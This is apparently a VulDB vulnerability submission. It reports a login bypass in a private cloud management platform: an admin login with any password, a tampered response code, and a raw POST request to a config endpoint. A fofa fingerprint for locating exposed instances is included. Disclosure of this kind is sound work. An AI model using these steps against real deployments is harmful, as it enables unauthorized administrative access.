提交 #42872: There is a logical flaw in the letter im信息

标题 There is a logical flaw in the letter im
描述Private cloud management background login address: http://x.x.x.x:8098/#/login Enter the account admin, enter the password at will, and then change the return package to code:1000, MSF can enter one at will. POST /management/api/rcx_management/global_config_query HTTP/1.1 Host: host Content-Length: 17 Accept: */* RCusertoken: X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36 Content-Type: application/json;charset=UTF-8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close {"key":"license"} fofa.info "/js/application/dialog/edit-license.js"
用户
 xingzhi (UID 30659)
提交2022-08-05 03時45分 (4 年前)
管理2022-08-05 07時10分 (3 hours later)
状态已接受
VulDB条目205614 [Private Cloud Management Platform POST Request global_config_query 弱身份验证]
积分17

Are you interested in using VulDB?

Download the whitepaper to learn more about our service!